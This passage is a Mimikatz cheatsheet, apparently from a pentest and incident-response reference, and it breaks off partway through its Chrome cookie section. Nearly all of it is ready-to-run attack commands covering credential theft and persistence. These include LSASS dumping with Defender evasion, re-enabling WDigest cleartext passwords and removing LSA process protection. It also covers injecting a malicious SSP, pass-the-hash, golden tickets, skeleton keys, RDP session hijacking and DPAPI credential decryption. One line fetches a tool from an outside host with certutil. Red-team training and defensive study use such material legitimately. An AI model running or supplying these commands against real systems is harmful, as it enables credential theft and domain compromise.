Internal Network Pentest and IR Reference: mimikatz cheatsheet

# Mimikatz

## Summary

* [Execute commands](#execute-commands)
* [Extract passwords](#extract-passwords)
* [LSA Protection Workaround](#lsa-protection-workaround)
* [Mini Dump](#mini-dump)
* [Pass The Hash](#pass-the-hash)
* [Golden ticket](#golden-ticket)
* [Skeleton key](#skeleton-key)
* [RDP Session Takeover](#rdp-session-takeover)
* [RDP Passwords](#rdp-passwords)
* [Credential Manager & DPAPI](#credential-manager--dpapi)
    * [Chrome Cookies & Credential](#chrome-cookies--credential)
    * [Task Scheduled credentials](#task-scheduled-credentials)
    * [Vault](#vault)
* [Commands list](#commands-list)
* [Powershell version](#powershell-version)
* [References](#references)

![Data in memory](http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png)

## Execute commands

Only one command

```powershell
PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
```

Mimikatz console (multiple commands)

```powershell
PS C:\temp\mimikatz> .\mimikatz
mimikatz # privilege::debug
mimikatz # log
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
```

## Extract passwords

> Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled.

```powershell
mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest

# to re-enable wdigest in Windows Server 2012+
# in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest 
# create a DWORD 'UseLogonCredential' with the value 1.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1
```

:warning: To take effect, conditions are required :

* Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2:
    * Adding requires lock
    * Removing requires signout
* Win10:
    * Adding requires signout
    * Removing requires signout
* Win2016:
    * Adding requires lock
    * Removing requires reboot

## LSA Protection Workaround

* LSA as a Protected Process (RunAsPPL)

  ```powershell
  # Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
  reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

  # Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
  # Now lets import the mimidriver.sys to the system
  mimikatz # !+

  # Now lets remove the protection flags from lsass.exe process
  mimikatz # !processprotect /process:lsass.exe /remove

  # Finally run the logonpasswords function to dump lsass
  mimikatz # privilege::debug    
  mimikatz # token::elevate
  mimikatz # sekurlsa::logonpasswords
  
  # Now lets re-add the protection flags to the lsass.exe process
  mimikatz # !processprotect /process:lsass.exe

  # Unload the service created
  mimikatz # !-


  # https://github.com/itm4n/PPLdump
  PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
  PPLdump.exe lsass.exe lsass.dmp
  PPLdump.exe -v 720 out.dmp
  ```

* LSA is running as virtualized process (LSAISO) by **Credential Guard**

  ```powershell
  # Check if a process called lsaiso.exe exists on the running processes
  tasklist |findstr lsaiso

  # Lets inject our own malicious Security Support Provider into memory
  # require mimilib.dll in the same folder
  mimikatz # misc::memssp

  # Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
  ```

## Mini Dump

Dump the lsass process with `procdump`

> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.

```powershell
# HTTP method - using the default way
certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe
C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp

# SMB method - using the pid
net use Z: https://live.sysinternals.com
tasklist /fi "imagename eq lsass.exe" # Find lsass's pid
Z:\procdump.exe -accepteula -ma $lsass_pid lsass.dmp
```

Dump the lsass process with `rundll32`

```powershell
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
```

Use the minidump:

* Mimikatz: `.\mimikatz.exe "sekurlsa::minidump lsass.dmp"`

  ```powershell
  mimikatz # sekurlsa::minidump lsass.dmp
  mimikatz # sekurlsa::logonPasswords
  ```

* Pypykatz: `pypykatz lsa minidump lsass.dmp`

## Pass The Hash

```powershell
mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell
```

## Golden ticket

```powershell
.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
```

```powershell
.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135[PII_REDACTED]9[PII_REDACTED]02 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
```

## Skeleton key

```powershell
privilege::debug
misc::skeleton
# map the share
net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz
# login as someone
rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
```

## RDP Session Takeover

Use `ts::multirdp` to patch the RDP service to allow more than two users.

* Enable privileges

  ```powershell
  privilege::debug 
  token::elevate 
  ```

* List RDP sessions

  ```powershell
  ts::sessions
  ```

* Hijack session

  ```powershell
  ts::remote /id:2 
  ```

Run `tscon.exe` as the SYSTEM user, you can connect to any session without a password.

```powershell
# get the Session ID you want to hijack
query user
create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
net start sesshijack
```

## RDP Passwords

Verify if the service is running:

```ps1
sc queryex termservice
tasklist /M:rdpcorets.dll
netstat -nob | Select-String TermService -Context 1
```

* Extract passwords manually

  ```ps1
  procdump64.exe -ma 988 -accepteula C:\svchost.dmp
  strings -el svchost* | grep Password123 -C3
  ```

* Extract passwords using Mimikatz

  ```ps1
  privilege::debug
  ts::logonpasswords
  ```

## Credential Manager & DPAPI

```powershell
# check the folder to find credentials
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*

# check the file with mimikatz
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0

# find master key
$ mimikatz !sekurlsa::dpapi

# use master key
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed[PII_REDACTED]940f50e728fe7871169c87a0bba5e0c470d91d[PII_REDACTED]7bce2eff9c97445d444b6a17b
```

### Chrome Cookies & Credential

```powershell
# Saved Cookies
dpapi::chrome /in